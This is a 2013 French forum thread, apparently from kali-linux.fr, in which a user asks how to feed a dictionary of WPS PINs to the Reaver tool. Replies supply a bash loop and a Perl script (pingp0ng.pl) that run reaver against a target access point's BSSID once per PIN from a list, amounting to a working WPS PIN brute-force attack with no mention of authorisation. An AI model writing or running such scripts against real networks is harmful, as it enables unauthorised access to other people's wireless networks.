Auteur Sujet: [en cours] Utiliser Reaver avec un dictionnaire  (Lu 4034 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne Rikrake

  • Membre Junior
  • *
  • Messages: 29
  • +0/-1
[en cours] Utiliser Reaver avec un dictionnaire
« le: 04 novembre 2013 à 16:16:18 »
Salut,

Beaucoup de changements personnels ont fait que je n'ai pu venir durant ces derniers mois  :(

Question: avec Reaver, peut on utiliser un dictionnaire de Pin ou non ? En lisant les fonctonnalités, j'ai l'impression que non et n'ai rien trouvé à ce propos. Je sais qu'on peut proposer un pin en particulier avec -p , mais sinon  :-\

Merci
« Modifié: 06 novembre 2013 à 18:47:06 par admin »

Hors ligne coyotus

  • Contributeur de Kali-linux.fr
  • Membre Elite
  • *****
  • Messages: 3799
  • +266/-30
  • IN GNU WE TRUST
    • Groupe d'Utilisateurs de GNU/Linux...
Re : Utiliser Reaver avec un dictionnaire
« Réponse #1 le: 04 novembre 2013 à 18:59:50 »
Oui dans un script avec une boucle ou tu met le contenu de ton dictionnaire en variable

Hors ligne Rikrake

  • Membre Junior
  • *
  • Messages: 29
  • +0/-1
Re : Utiliser Reaver avec un dictionnaire
« Réponse #2 le: 05 novembre 2013 à 08:12:43 »
Merci  ;D

Quand tu dis un script, c'est en quoi ?

Hors ligne coyotus

  • Contributeur de Kali-linux.fr
  • Membre Elite
  • *****
  • Messages: 3799
  • +266/-30
  • IN GNU WE TRUST
    • Groupe d'Utilisateurs de GNU/Linux...
Re : Utiliser Reaver avec un dictionnaire
« Réponse #3 le: 05 novembre 2013 à 21:10:25 »
un truc genre tu as une liste de pin, dico-pin.txt avec dedans

12345670
07654321
98764123

Et tu crée une boucle dans le genre (à vérifier, j'ai pas eu le temps de tester ma ligne de commande)

while read PIN; do reaver -i mon0 -b XX:XX:XX:XX:XX:XX --pin $PIN ; done < dico-pin.txt

Hors ligne s0s4

  • Nouvel inscrit
  • Messages: 4
  • +1/-0
Re : Utiliser Reaver avec un dictionnaire
« Réponse #4 le: 06 novembre 2013 à 07:43:38 »
J'ai pas foutu de Use Strict donc c'est assez brute hein..
Si tu te lasse du pin que tu utilise tu peux passer au suivant directement avec CTRL+C

#!/usr/bin/perl -w
#pingp0ng.pl

if(@ARGV) {
$channel = @ARGV[0];
$bssid = @ARGV[1];
}

my @list = ();
my $pinwps;

open(FILE, "dicopin.txt") or die ("erreur ouverture dicopin.txt\n");

while($pinwps = <FILE>)
{
my @pin = ();
chomp($pinwps);

(@pin) = split(\n, $pinwps);
push(@list, @pin);
}

close(FILE);

foreach my $p (@list) {

print system "reaver -i mon0 -c ".$channel." -b ".$bssid." -vv -p ".$p."\n";
}



perl pingp0ng.pl channel bssid
 :o
« Modifié: 06 novembre 2013 à 22:05:21 par m3nd0 »